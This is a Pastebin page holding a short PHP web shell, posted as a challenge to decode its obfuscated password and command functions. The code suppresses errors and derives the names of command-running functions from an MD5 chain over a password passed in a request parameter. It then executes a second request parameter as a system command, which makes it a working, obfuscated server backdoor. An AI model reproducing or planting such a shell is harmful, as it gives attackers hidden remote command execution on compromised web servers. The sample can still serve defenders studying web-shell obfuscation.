Advertisement
bwall

Actually Encrypted Shell

Jan 6th, 2013
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.99 KB | None | 0 0
  1. <?php
  2. /*
  3. This shell is encrypted, has the ability to run commands on the server, and uses 0 evals.  I would be impressed if you could tell me the password and how to execute a command.  If you botters had half a clue, decoding your payloads might not be laughably easy...
  4. @bwallHatesTwits
  5. */
  6. @error_reporting(0);
  7. $p=str_rot13("cnpx");
  8. if(!isset($_REQUEST[pack("I",1936941424)]))exit();
  9. $h=$_REQUEST[pack("I",1936941424)];
  10. for($i=0;$i<10000;$i++)$h=md5($h,1);
  11. $s=$p("I",3782349928-unpack("I",$h)[1]);
  12. $h=md5($h,1);$e=$p("I",4336671913-unpack("I",$h)[1]).$p("S",86171-unpack("S",$h)[1]);
  13. $h=md5($h,1);$e1=$p("I",2317167118-unpack("I",$h)[1]).pack("I",2350657810-unpack("I",$h)[1]);
  14. $h=md5($h,1);$fex=$p("I",2029019048-unpack("I",$h)[1]).$p("I",2213630902-unpack("I",$h)[1]).$p("I",2130333601-unpack("I",$h)[1]).$p("S",89781-unpack("S",$h)[1]).$p("C",181-unpack("C",$h)[1]);
  15. $h=md5($h,1);
  16. $r=$_REQUEST[$p("I",4994670222-unpack("I",$h)[1])];
  17. if($fex($e)){$e($r);}
  18. else if($fex($e1)){$e1($r);}
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement